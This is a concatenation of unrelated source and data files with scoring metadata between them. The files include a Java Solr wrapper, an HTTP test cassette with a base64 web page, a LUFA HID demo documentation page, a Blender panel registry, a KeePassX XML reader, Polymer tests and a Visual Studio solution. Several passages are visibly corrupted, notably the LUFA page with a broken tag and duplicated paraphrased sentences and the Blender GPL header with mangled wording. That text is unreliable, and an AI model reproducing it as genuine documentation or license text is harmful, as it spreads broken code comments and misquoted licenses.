ConfigurationStore.getInstance().setForceAutoCommit(forceAutoCommit);
}
@Override
public Set<ContentType> getContentTypes() {
return provider.getContentTypes();
}
@Override
public boolean isAvailable() {
return provider.isAvailable();
}
@Override
public boolean isAvailable(SourceMonitor callback) {
return provider.isAvailable(callback);
}
@Override
public SourceResponse query(QueryRequest queryRequest) throws UnsupportedQueryException {
return provider.query(queryRequest);
}
@Override
public String getDescription() {
return DESCRIBABLE_PROPERTIES.getProperty("description", "");
}
@Override
public String getOrganization() {
return DESCRIBABLE_PROPERTIES.getProperty("organization", "");
}
@Override
public String getTitle() {
return DESCRIBABLE_PROPERTIES.getProperty("name", "");
}
@Override
public String getVersion() {
return DESCRIBABLE_PROPERTIES.getProperty("version", "");
}
@Override
public CreateResponse create(CreateRequest createRequest) throws IngestException {
return provider.create(createRequest);
}
@Override
public DeleteResponse delete(DeleteRequest deleteRequest) throws IngestException {
return provider.delete(deleteRequest);
}
@Override
public UpdateResponse update(UpdateRequest updateRequest) throws IngestException {
return provider.update(updateRequest);
}
/** Shuts down the connection to Solr and releases resources. */
public void shutdown() {
provider.shutdown();
}
}
| null | 2
|
{
"advantage_score_max": 1.7235451936721802,
"advantage_score_mean": 1.4540778398513794,
"advantage_score_min": 1.2465147972106934,
"advantage_score_std": 0.19960562884807587,
"advantage_scores": [
1.7235451936721802,
1.3921735286712646,
1.2465147972106934
],
"baseline_doc_loss": 0.7065346837043762,
"baseline_truncated": false,
"doc_advantage_score": 1.155401587486267,
"length_change_ratio": 1.0824022346368716,
"net_length_change_chars": 59,
"original_sentences_length_chars": 716,
"replacement_paraphrases_length_chars": 775,
"sentences_perturbed": 2,
"target_doc_loss": 0.6115057468414307,
"target_truncated": false,
"threshold_passing_sentences": 3,
"total_doc_length_chars": 5308,
"total_sentences": 14,
"truncated": false
}
|
interactions:
- request:
body: q=Beautiful+People
headers:
Accept: ['*/*']
Accept-Encoding: ['gzip, deflate']
Connection: [keep-alive]
Content-Length: ['18']
Content-Type: [application/x-www-form-urlencoded]
User-Agent: [Subliminal/2.0]
method: POST
uri: http://www.tvsubtitles.net/search.php
response:
body:
string: !!binary |
PCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgU3RyaWN0Ly9FTiIg
Imh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXN0cmljdC5kdGQiPgoJPGh0
bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHhtbDpsYW5nPSJlbiIgbGFu
Zz0iZW4iPgoJPGhlYWQ+CgoJPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRl
dmljZS13aWR0aDsgaW5pdGlhbC1zY2FsZT0xLjAiPgogICA8bWV0YSBodHRwLWVxdWl2PSJjb250
ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4KICAgPGxpbmsg
aHJlZj0iZmF2aWNvbi5pY28iIHJlbD0ic2hvcnRjdXQgaWNvbiI+CiAgIDxsaW5rIHJlbD0ic3R5
bGVzaGVldCIgaHJlZj0ic3R5bGUuY3NzIiB0eXBlPSJ0ZXh0L2NzcyIgLz4KICAgPHRpdGxlPlRW
c3VidGl0bGVzLm5ldCAtIFNlYXJjaDwvdGl0bGU+CiAgIDxzY3JpcHQgdHlwZT0ndGV4dC9qYXZh
c2NyaXB0Jz4KdmFyIGdvb2dsZXRhZyA9IGdvb2dsZXRhZyB8fCB7fTsKZ29vZ2xldGFnLmNtZCA9
IGdvb2dsZXRhZy5jbWQgfHwgW107CihmdW5jdGlvbigpIHsKdmFyIGdhZHMgPSBkb2N1bWVudC5j
cmVhdGVFbGVtZW50KCdzY3JpcHQnKTsKZ2Fkcy5hc3luYyA9IHRydWU7CmdhZHMudHlwZSA9ICd0
ZXh0L2phdmFzY3JpcHQnOwp2YXIgdXNlU1NMID0gJ2h0dHBzOicgPT0gZG9jdW1lbnQubG9jYXRp
b24ucHJvdG9jb2w7CmdhZHMuc3JjID0gKHVzZVNTTCA/ICdodHRwczonIDogJ2h0dHA6JykgKwon
Ly93d3cuZ29vZ2xldGFnc2VydmljZXMuY29tL3RhZy9qcy9ncHQuanMnOwp2YXIgbm9kZSA9IGRv
Y3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCdzY3JpcHQnKVswXTsKbm9kZS5wYXJlbnROb2Rl
Lmluc2VydEJlZm9yZShnYWRzLCBub2RlKTsKfSkoKTsKPC9zY3JpcHQ+Cgo8c2NyaXB0IHR5cGU9
J3RleHQvamF2YXNjcmlwdCc+Cmdvb2dsZXRhZy5jbWQucHVzaChmdW5jdGlvbigpIHsKZ29vZ2xl
dGFnLmRlZmluZVNsb3QoJy8xODQ4MTcyNy90dnN1YnRpdGxlcy5uZXQnLCBbNDY4LCA2MF0sICdk
aXYtZ3B0LWFkLTEzNzAxMDkxOTc3NzctMCcpLmFkZFNlcnZpY2UoZ29vZ2xldGFnLnB1YmFkcygp
KTsKZ29vZ2xldGFnLnB1YmFkcygpLmVuYWJsZVNpbmdsZVJlcXVlc3QoKTsKZ29vZ2xldGFnLmVu
YWJsZVNlcnZpY2VzKCk7Cn0pOwo8L3NjcmlwdD4KPGxpbmsgaHJlZj0ibWVkaWEtcXVlcmllcy5j
c3MiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiPgo8IS0tIGh0bWw1LmpzIGZvciBJ
RSBsZXNzIHRoYW4gOSAtLT4KPCEtLVtpZiBsdCBJRSA5XT4KCTxzY3JpcHQgc3JjPSJodHRwOi8v
aHRtbDVzaGltLmdvb2dsZWNvZGUuY29tL3N2bi90cnVuay9odG1sNS5qcyI+PC9zY3JpcHQ+Cjwh
W2VuZGlmXS0tPgoKPCEtLSBjc3MzLW1lZGlhcXVlcmllcy5qcyBmb3IgSUUgbGVzcyB0aGFuIDkg
LS0+CjwhLS1baWYgbHQgSUUgOV0+Cgk8c2NyaXB0IHNyYz0iaHR0cDovL2NzczMtbWVkaWFxdWVy
aWVzLWpzLmdvb2dsZWNvZGUuY29tL3N2bi90cnVuay9jc3MzLW1lZGlhcXVlcmllcy5qcyI+PC9z
Y3JpcHQ+CjwhW2VuZGlmXS0tPgoKCTwvaGVhZD4KCgoJPGJvZHk+CgkNPGRpdiBzdHlsZT0icG9z
aXRpb246Zml4ZWQ7DSAgICBsZWZ0OiA1MCU7DSAgICB0b3A6IDUwJTsNICAgIG1hcmdpbi10b3A6
IC0zMDBweDsgLyogNTAlIOL78e7y+yAqLw0gICAgbWFyZ2luLWxlZnQ6IC02OTBweDsgIC8qIDUw
JSD46PDo7fsgKi8iPg0NPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg1pZiAoIXdpbmRv
dy5PWF9hZHMpIHsgT1hfYWRzID0gW107IH0NT1hfYWRzLnB1c2goeyAiYXVpZCIgOiAiNDE3OTE4
IiB9KTsNPC9zY3JpcHQ+DTxzY3JpcHQgdHlwZT0idGV4d
| null | 0
|
{
"advantage_score_max": null,
"advantage_score_mean": null,
"advantage_score_min": null,
"advantage_score_std": null,
"advantage_scores": null,
"baseline_doc_loss": null,
"baseline_truncated": null,
"doc_advantage_score": null,
"length_change_ratio": null,
"net_length_change_chars": null,
"original_sentences_length_chars": null,
"replacement_paraphrases_length_chars": null,
"sentences_perturbed": null,
"target_doc_loss": null,
"target_truncated": null,
"threshold_passing_sentences": null,
"total_doc_length_chars": null,
"total_sentences": null,
"truncated": null
}
|
/** \file
*
* This file contains special DoxyGen information for the generation of the main page and other special
* documentation pages. It is not a project source file.
*/
/** \mainpage Dual HID Keyboard and Mouse Device Demo
*
* \section Sec_Compat Demo Compatibility:
*
* The following list indicates what microcontrollers are compatible with this demo.
The following list shows which microcontrollers are supported by this demo.
- Series 7 USB AVRs (AT90USBxxx7)
- Series 6 USB AVRs (AT90USBxxx6)
- Series 4 USB AVRs (ATMEGAxxU4)
- Series 2 USB AVRs (AT90USBxx2, ATMEGAxxU2).
*
* <table>
* <tr>
* <td><b>USB Mode:</b></td>
* <a composite device that includes both USB Keyboard and USB Mouse functionality, utilizing standard USB HID drivers available in all modern operating systems (meaning no additional drivers are needed). This demonstration implements two distinct HID interfaces for each function. It supports boot protocol, allowing it to operate with compatible BIOS systems as if it were a native keyboard and mouse (such as PS/2). a composite device containing both USB Keyboard
* and USB Mouse functionality using the basic USB HID drivers in all modern OSes
* (i.e. no special drivers required). This example uses two separate HID
* interfaces for each function. It is boot protocol compatible, and thus works under
* compatible BIOS as if it was a native keyboard and mouse (e.g. PS/2).
*
* On start-up the system will automatically enumerate and function
* as a keyboard when the USB connection to a host is present and the HWB is not
* pressed. When enabled, manipulate the joystick to send the letters
* a, b, c, d and e. See the USB HID documentation for more information
* on sending keyboard event and key presses.
*
* When the HWB is pressed, the mouse mode is enabled. When enabled, move the
* joystick to move the pointer, and push the joystick inwards to simulate a
* left-button click.
*
* \section Sec_Options Project Options
*
* The following defines can be found in this demo, which can control the demo behaviour when defined, or changed in value.
*
* <table>
* <tr>
* <td>
* None
* </td>
* </tr>
* </table>
*/
| null | 2
|
{
"advantage_score_max": 6.779273509979248,
"advantage_score_mean": 3.421250581741333,
"advantage_score_min": 1.1158095598220825,
"advantage_score_std": 2.508197546005249,
"advantage_scores": [
6.779273509979248,
6.165660858154297,
1.7712780237197876,
1.2742295265197754,
1.1158095598220825
],
"baseline_doc_loss": 1.3894503116607666,
"baseline_truncated": false,
"doc_advantage_score": 1.9048482179641724,
"length_change_ratio": 0.693565976008724,
"net_length_change_chars": -281,
"original_sentences_length_chars": 917,
"replacement_paraphrases_length_chars": 636,
"sentences_perturbed": 2,
"target_doc_loss": 0.7294283509254456,
"target_truncated": false,
"threshold_passing_sentences": 5,
"total_doc_length_chars": 2511,
"total_sentences": 16,
"truncated": false
}
|
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. Refer to the NOTICE file included with this work for further details about copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.netbeans.modules.web.common.cssprep;
import org.netbeans.modules.web.common.api.CssPreprocessor;
import org.netbeans.modules.web.common.spi.CssPreprocessorImplementation;
public abstract class CssPreprocessorAccessor {
private static volatile CssPreprocessorAccessor accessor;
public static synchronized CssPreprocessorAccessor getDefault() {
if (accessor != null) {
return accessor;
}
Class<?> c = CssPreprocessor.class;
try {
Class.forName(c.getName(), true, c.getClassLoader());
} catch (ClassNotFoundException ex) {
assert false : ex;
}
assert accessor != null;
return accessor;
}
public static void setDefault(CssPreprocessorAccessor accessor) {
if (CssPreprocessorAccessor.accessor != null) {
throw new IllegalStateException("Already initialized accessor");
}
CssPreprocessorAccessor.accessor = accessor;
}
public abstract CssPreprocessor create(CssPreprocessorImplementation cssPreprocessorImplementation);
}
| null | 1
|
{
"advantage_score_max": 4.553525924682617,
"advantage_score_mean": 4.553525924682617,
"advantage_score_min": 4.553525924682617,
"advantage_score_std": 0,
"advantage_scores": [
4.553525924682617
],
"baseline_doc_loss": 0.5660562515258789,
"baseline_truncated": false,
"doc_advantage_score": 1.380191445350647,
"length_change_ratio": 0.8636363636363636,
"net_length_change_chars": -15,
"original_sentences_length_chars": 110,
"replacement_paraphrases_length_chars": 95,
"sentences_perturbed": 1,
"target_doc_loss": 0.41012880206108093,
"target_truncated": false,
"threshold_passing_sentences": 1,
"total_doc_length_chars": 1905,
"total_sentences": 6,
"truncated": false
}
|
/*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
* This program is provided as-is, without any warranty; without even the implied warranty of merchantability or fitness for a particular purpose. See the GNU General Public License for more information. See the
* GNU General Public License for mor* You should have received a copy of the GNU General Public License
* along with this program; if not, see <https://www.gnu.org/licenses/> for details.0-1301, USA.
*/
/** \file
* \ingroup wm
*
* Panel Registry.
*
* \note Unlike menu, and other registries, this doesn't *own* the PanelType.
*
* For popups/popovers only, regions handle panel types by including them in local lists.
*/
#include <stdio.h>
#include "BLI_sys_types.h"
#include "DNA_windowmanager_types.h"
#include "BLI_utildefines.h"
#include "BLI_ghash.h"
#include "BKE_screen.h"
#include "WM_api.h"
static GHash *g_paneltypes_hash = NULL;
PanelType *WM_paneltype_find(const char *idname, bool quiet)
{
PanelType *pt;
if (idname[0]) {
pt = BLI_ghash_lookup(g_paneltypes_hash, idname);
if (pt) {
return pt;
}
}
if (!quiet) {
printf("search for unknown paneltype %s\n", idname);
}
return NULL;
}
bool WM_paneltype_add(PanelType *pt)
{
BLI_ghash_insert(g_paneltypes_hash, pt->idname, pt);
return true;
}
void WM_paneltype_remove(PanelType *pt)
{
bool ok;
ok = BLI_ghash_remove(g_paneltypes_hash, pt->idname, NULL, NULL);
BLI_assert(ok);
(void)ok;
}
/* called on initialize WM_init() */
void WM_paneltype_init(void)
{
/* reserve size is set based on blender default setup */
g_paneltypes_hash = BLI_ghash_str_new_ex("g_paneltypes_hash gh", 512);
}
void WM_paneltype_clear(void)
{
BLI_ghash_free(g_paneltypes_hash, NULL, NULL);
}
| null | 2
|
{
"advantage_score_max": 9.191994667053223,
"advantage_score_mean": 5.314167022705078,
"advantage_score_min": 1.6639289855957031,
"advantage_score_std": 3.0775306224823,
"advantage_scores": [
9.191994667053223,
5.086577892303467,
1.6639289855957031
],
"baseline_doc_loss": 1.1405978202819824,
"baseline_truncated": false,
"doc_advantage_score": 1.6179262399673462,
"length_change_ratio": 0.8740740740740741,
"net_length_change_chars": -51,
"original_sentences_length_chars": 405,
"replacement_paraphrases_length_chars": 354,
"sentences_perturbed": 2,
"target_doc_loss": 0.7049751877784729,
"target_truncated": false,
"threshold_passing_sentences": 3,
"total_doc_length_chars": 2024,
"total_sentences": 8,
"truncated": false
}
|
<!doctype html>
<!--
@license
Copyright (c) 2015 The Polymer Project Authors. All rights reserved.
This code may only be used under the BSD style license found at http://polymer.github.io/LICENSE.txt
The complete set of authors may be found at http://polymer.github.io/AUTHORS.txt
The complete set of contributors may be found at http://polymer.github.io/CONTRIBUTORS.txt
Code distributed by Google as part of the polymer project is also
subject to an additional IP rights grant found at http://polymer.github.io/PATENTS.txt
-->
<html>
<head>
<title>iron-selector-selected-attribute</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0">
<script src="../../webcomponentsjs/webcomponents-lite.js"></script>
<script src="../../web-component-tester/browser.js"></script>
<script src="../../test-fixture/test-fixture-mocha.js"></script>
<link rel="import" href="../../test-fixture/test-fixture.html">
<link rel="import" href="../iron-selector.html">
</head>
<body>
<test-fixture id="test1">
<template>
<iron-selector>
<div>Item 0</div>
<div>Item 1</div>
<div>Item 2</div>
<span>Item 3</span>
</iron-selector>
</template>
</test-fixture>
<test-fixture id="test2">
<template>
<iron-selector>
<div>Item 0</div>
<div>Item 1</div>
<div>Item 2</div>
<p>Item 3</p>
</iron-selector>
</template>
</test-fixture>
<script>
suite('excluded local names', function() {
var test1, test2;
setup(function () {
test1 = fixture('test1');
test2 = fixture('test2');
});
test('default `_excludedLocalNames`', function() {
assert.isTrue('template' in test1._excludedLocalNames);
assert.isTrue('template' in test2._excludedLocalNames);
});
test('custom `_excludedLocalNames`', function() {
test1._excludedLocalNames.foo = 1;
assert.isTrue('foo' in test1._excludedLocalNames);
assert.isFalse('foo' in test2._excludedLocalNames);
});
test('items', function(done) {
test1._excludedLocalNames.span = 1;
test2._excludedLocalNames.div = 1;
test1._updateItems();
test2._updateItems();
Polymer.Base.async(function() {
var NOT_FOUND = -1;
var items1 = test1.items.map(function(el) { return el.localName; });
var items2 = test2.items.map(function(el) { return el.localName; });
assert.equal(items1.indexOf('span'), NOT_FOUND);
assert.equal(items2.indexOf('div'), NOT_FOUND);
done();
});
});
});
</script>
</body>
</html>
| null | 0
|
{
"advantage_score_max": 0,
"advantage_score_mean": 0,
"advantage_score_min": 0,
"advantage_score_std": 0,
"advantage_scores": [],
"baseline_doc_loss": 0.5698956251144409,
"baseline_truncated": false,
"doc_advantage_score": 1.6062185764312744,
"length_change_ratio": 1,
"net_length_change_chars": 0,
"original_sentences_length_chars": 0,
"replacement_paraphrases_length_chars": 0,
"sentences_perturbed": 0,
"target_doc_loss": 0.35480576753616333,
"target_truncated": false,
"threshold_passing_sentences": 0,
"total_doc_length_chars": 2727,
"total_sentences": 3,
"truncated": false
}
|
/*
* Copyright (C) 2010 Felix Geyer <debfx@fobos.de>
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 2 or (at your option)
* version 3 of the License.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include "KeePass2XmlReader.h"
#include <QBuffer>
#include <QFile>
#include "core/Database.h"
#include "core/DatabaseIcons.h"
#include "core/Group.h"
#include "core/Metadata.h"
#include "core/Tools.h"
#include "format/KeePass2RandomStream.h"
#include "streams/QtIOCompressor"
typedef QPair<QString, QString> StringPair;
KeePass2XmlReader::KeePass2XmlReader()
: m_randomStream(nullptr)
, m_db(nullptr)
, m_meta(nullptr)
, m_tmpParent(nullptr)
, m_error(false)
, m_strictMode(false)
{
}
void KeePass2XmlReader::setStrictMode(bool strictMode)
{
m_strictMode = strictMode;
}
void KeePass2XmlReader::readDatabase(QIODevice* device, Database* db, KeePass2RandomStream* randomStream)
{
m_error = false;
m_errorStr.clear();
m_xml.clear();
m_xml.setDevice(device);
m_db = db;
m_meta = m_db->metadata();
m_meta->setUpdateDatetime(false);
m_randomStream = randomStream;
m_headerHash.clear();
m_tmpParent = new Group();
bool rootGroupParsed = false;
if (!m_xml.error() && m_xml.readNextStartElement()) {
if (m_xml.name() == "KeePassFile") {
rootGroupParsed = parseKeePassFile();
}
}
if (!m_xml.error() && !rootGroupParsed) {
raiseError("No root group");
}
if (!m_xml.error()) {
if (!m_tmpParent->children().isEmpty()) {
qWarning("KeePass2XmlReader::readDatabase: found %d invalid group reference(s)",
m_tmpParent->children().size());
}
if (!m_tmpParent->entries().isEmpty()) {
qWarning("KeePass2XmlReader::readDatabase: found %d invalid entry reference(s)",
m_tmpParent->children().size());
}
}
const QSet<QString> poolKeys = m_binaryPool.keys().toSet();
const QSet<QString> entryKeys = m_binaryMap.keys().toSet();
const QSet<QString> unmappedKeys = entryKeys - poolKeys;
const QSet<QString> unusedKeys = poolKeys - entryKeys;
if (!unmappedKeys.isEmpty()) {
raiseError("Unmapped keys left.");
}
if (!m_xml.error()) {
for (const QString& key : unusedKeys) {
qWarning("KeePass2XmlReader::readDatabase: found unused key \"%s\"", qPrintable(key));
}
}
QHash<QString, QPair<Entry*, QString> >::const_iterator i;
for (i = m_binaryMap.constBegin(); i != m_binaryMap.constEnd(); ++i) {
const QPair<Entry*, QString>& target = i.value();
target.first->attachments()->set(target.second, m_binaryPool[i.key()]);
}
m_meta->setUpdateDatetime(true);
QHash<Uuid, Group*>::const_iterator iGroup;
for (iGroup = m_groups.constBegin(); iGroup != m_groups.constEnd(); ++iGroup) {
iGroup.value()->setUpdateTimeinfo(true);
}
QHash<Uuid, Entry*>::const_iterator iEntry;
for (iEntry = m_entries.constBegin(); iEntry != m_entries.constEnd(); ++iEntry) {
iEntry.value()->setUpdateTimeinfo(true);
const QList<Entry*> historyItems = iEntry.value()->historyItems();
for (Entry* histEntry : historyItems) {
histEntry->setUpdateTimeinfo(true);
}
}
delete m_tmpParent;
}
Database* KeePass2XmlReader::readDatabase(QIODevice* device)
{
Database* db = new Database();
readDatabase(device, db);
return db;
}
Database* KeePass2XmlReader::readDatabase(const QString& filename)
{
QFile file(filename);
file.open(QIODevice::ReadOnly);
return readDatabase(&file);
}
bool KeePass2XmlReader::hasError()
{
return m_error || m_xml.hasError();
}
QString KeePass2XmlReader::errorString()
{
if (m_error) {
return m_errorStr;
}
else if (m_xml.hasError()) {
return QString("XML error:\n%1\nLine %2, column %3")
.arg(m_xml.errorString())
.arg(m_xml.lineNumber())
.arg(m_xml.columnNumber());
}
else {
return QString();
}
}
void KeePass2XmlReader::raiseError(const QString& errorMessage)
{
m_error = true;
m_errorStr = errorMessage;
}
QByteArray KeePass2XmlReader::headerHash()
{
return m_headerHash;
}
bool KeePass2XmlReader::parseKeePassFile()
{
Q_ASSERT(m_xml.isStartElement() && m_xml.name() == "KeePassFile");
bool rootElementFound = false;
bool rootParsedSuccesfully = false;
while (!m_xml.error() && m_xml.readNextStartElement()) {
if (m_xml.name() == "Meta") {
parseMeta();
}
else if (m_xml.name() == "Root") {
if (rootElementFound) {
rootParsedSuccesfully = false;
raiseError("Multiple root elements");
}
else {
rootParsedSuccesfully = parseRoot();
rootElementFound = true;
}
}
else {
skipCurrentElement();
}
}
return rootParsedSuccesfully;
}
void KeePass2XmlReader::parseMeta()
{
Q_ASSERT(m_xml.isStartElement() && m_xml.name() == "Meta");
while (!m_xml.error() && m_xml.readNextStartElement()) {
if (m_xml.name() == "Generator") {
m_meta->setGenerator(readString());
}
else if (m_xml.name() == "HeaderHash") {
m_headerHash = readBinary();
}
else if (m_xml.name() == "DatabaseName") {
m_meta->setName(readString());
}
else if (m_xml.name() == "DatabaseNameChanged") {
m_meta->setNameChanged(readDateTime());
}
else if (m_xml.name() == "DatabaseDescription") {
m_meta->setDescription(readString());
}
else if (m_xml.name() == "DatabaseDescriptionChanged") {
m_meta->setDescriptionChanged(readDateTime());
}
else if (m_xml.name() == "DefaultUserName") {
m_meta
| null | 0
|
{
"advantage_score_max": 0,
"advantage_score_mean": 0,
"advantage_score_min": 0,
"advantage_score_std": 0,
"advantage_scores": [],
"baseline_doc_loss": 0.6426278948783875,
"baseline_truncated": false,
"doc_advantage_score": 1.1081504821777344,
"length_change_ratio": 1,
"net_length_change_chars": 0,
"original_sentences_length_chars": 0,
"replacement_paraphrases_length_chars": 0,
"sentences_perturbed": 0,
"target_doc_loss": 0.5799103379249573,
"target_truncated": false,
"threshold_passing_sentences": 0,
"total_doc_length_chars": 6498,
"total_sentences": 7,
"truncated": false
}
|
package org.andengine.examples.game.snake.adt;
/**
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 02:29:05 - 08.07.2010
*/
public enum Direction {
// ===========================================================
// Elements
// ===========================================================
UP, DOWN, LEFT, RIGHT;
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
// ===========================================================
// Constructors
// ===========================================================
// ===========================================================
// Getter & Setter
// ===========================================================
// ===========================================================
// Methods from SuperClass/Interfaces
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
public static int addToX(final Direction pDirection, final int pX) {
switch(pDirection) {
case UP:
case DOWN:
return pX;
case LEFT:
return pX - 1;
case RIGHT:
return pX + 1;
default:
throw new IllegalArgumentException();
}
}
public static int addToY(final Direction pDirection, final int pY) {
switch(pDirection) {
case LEFT:
case RIGHT:
return pY;
case UP:
return pY - 1;
case DOWN:
return pY + 1;
default:
throw new IllegalArgumentException();
}
}
public static Direction opposite(final Direction pDirection) {
switch(pDirection) {
case UP:
return DOWN;
case DOWN:
return UP;
case LEFT:
return RIGHT;
case RIGHT:
return LEFT;
default:
return null;
}
}
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| null | 0
|
{
"advantage_score_max": null,
"advantage_score_mean": null,
"advantage_score_min": null,
"advantage_score_std": null,
"advantage_scores": null,
"baseline_doc_loss": null,
"baseline_truncated": null,
"doc_advantage_score": null,
"length_change_ratio": null,
"net_length_change_chars": null,
"original_sentences_length_chars": null,
"replacement_paraphrases_length_chars": null,
"sentences_perturbed": null,
"target_doc_loss": null,
"target_truncated": null,
"threshold_passing_sentences": null,
"total_doc_length_chars": null,
"total_sentences": null,
"truncated": null
}
|
{
"app_name": "Medical Wikipedia",
"package": "org.kiwix.kiwixcustomwikimed",
"version_name": "2016-09",
"version_code": "7",
"zim_file": "content.zim",
"embed_zim": false,
"ic_launcher": "icon.png",
"enforced_lang": "en"
}
| null | 0
|
{
"advantage_score_max": null,
"advantage_score_mean": null,
"advantage_score_min": null,
"advantage_score_std": null,
"advantage_scores": null,
"baseline_doc_loss": null,
"baseline_truncated": null,
"doc_advantage_score": null,
"length_change_ratio": null,
"net_length_change_chars": null,
"original_sentences_length_chars": null,
"replacement_paraphrases_length_chars": null,
"sentences_perturbed": null,
"target_doc_loss": null,
"target_truncated": null,
"threshold_passing_sentences": null,
"total_doc_length_chars": null,
"total_sentences": null,
"truncated": null
}
|
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 15
VisualStudioVersion = 15.0.27428.2015
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "XrmToolBox", "XrmToolBox\XrmToolBox.csproj", "{328D55BE-8B9A-4087-A5C2-9FBAF623F54B}"
EndProject
Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Plugins", "Plugins", "{1A7814D2-1185-484E-92CC-7DD71DDE6488}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "MsCrmTools.SampleTool", "Plugins\MsCrmTools.SampleTool\MsCrmTools.SampleTool.csproj", "{5BF1E228-F898-40CF-B8FB-8412D8C81CFF}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "XrmToolBox.Extensibility", "XrmToolBox.Extensibility\XrmToolBox.Extensibility.csproj", "{DF77AEA3-43F7-403C-91AF-3023A3BB06EC}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "XrmToolBox.AutoUpdater", "XrmToolBox.AutoUpdater\XrmToolBox.AutoUpdater.csproj", "{564C72C8-586E-4218-B6B3-F464F7C3903A}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "XrmToolBox.PluginsStore", "XrmToolBox.PluginsStore\XrmToolBox.PluginsStore.csproj", "{EBCB3D22-03F2-40D2-B949-05CAE575F2EA}"
EndProject
Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "LicenseChecker", "LicenseChecker", "{08305693-A5D7-41FA-B476-20874647809B}"
ProjectSection(SolutionItems) = preProject
LicenseChecker\McTools.StopAdvertisement.dll = LicenseChecker\McTools.StopAdvertisement.dll
EndProjectSection
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Debug|Mixed Platforms = Debug|Mixed Platforms
Debug|x86 = Debug|x86
Release|Any CPU = Release|Any CPU
Release|Mixed Platforms = Release|Mixed Platforms
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{328D55BE-8B9A-4087-A5C2-9FBAF623F54B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{328D55BE-8B9A-4087-A5C2-9FBAF623F54B}.Debug|Mixed Platforms.ActiveCfg = Debug|Any CPU
{328D55BE-8B9A-4087-A5C2-9FBAF623F54B}.Debug|Mixed Platforms.Build.0 = Debug|Any CPU
{328D55BE-8B9A-4087-A5C2-9FBAF623F54B}.Debug|x86.ActiveCfg = Debug|Any CPU
{328D55BE-8B9A-4087-A5C2-9FBAF623F54B}.Release|Any CPU.ActiveCfg = Release|Any CPU
{328D55BE-8B9A-4087-A5C2-9FBAF623F54B}.Release|Any CPU.Build.0 = Release|Any CPU
{328D55BE-8B9A-4087-A5C2-9FBAF623F54B}.Release|Mixed Platforms.ActiveCfg = Release|Any CPU
{328D55BE-8B9A-4087-A5C2-9FBAF623F54B}.Release|Mixed Platforms.Build.0 = Release|Any CPU
{328D55BE-8B9A-4087-A5C2-9FBAF623F54B}.Release|x86.ActiveCfg = Release|Any CPU
{5BF1E228-F898-40CF-B8FB-8412D8C81CFF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{5BF1E228-F898-40CF-B8FB-8412D8C81CFF}.Debug|Any CPU.Build.0 = Debug|Any CPU
{5BF1E228-F898-40CF-B8FB-8412D8C81CFF}.Debug|Mixed Platforms.ActiveCfg = Debug|Any CPU
{5BF1E228-F898-40CF-B8FB-8412D8C81CFF}.Debug|Mixed Platforms.Build.0 = Debug|Any CPU
{5BF1E228-F898-40CF-B8FB-8412D8C81CFF}.Debug|x86.ActiveCfg = Debug|Any CPU
{5BF1E228-F898-40CF-B8FB-8412D8C81CFF}.Release|Any CPU.ActiveCfg = Release|Any CPU
{5BF1E228-F898-40CF-B8FB-8412D8C81CFF}.Release|Any CPU.Build.0 = Release|Any CPU
{5BF1E228-F898-40CF-B8FB-8412D8C81CFF}.Release|Mixed Platforms.ActiveCfg = Release|Any CPU
{5BF1E228-F898-40CF-B8FB-8412D8C81CFF}.Release|Mixed Platforms.Build.0 = Release|Any CPU
{5BF1E228-F898-40CF-B8FB-8412D8C81CFF}.Release|x86.ActiveCfg = Release|Any CPU
{DF77AEA3-43F7-403C-91AF-3023A3BB06EC}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
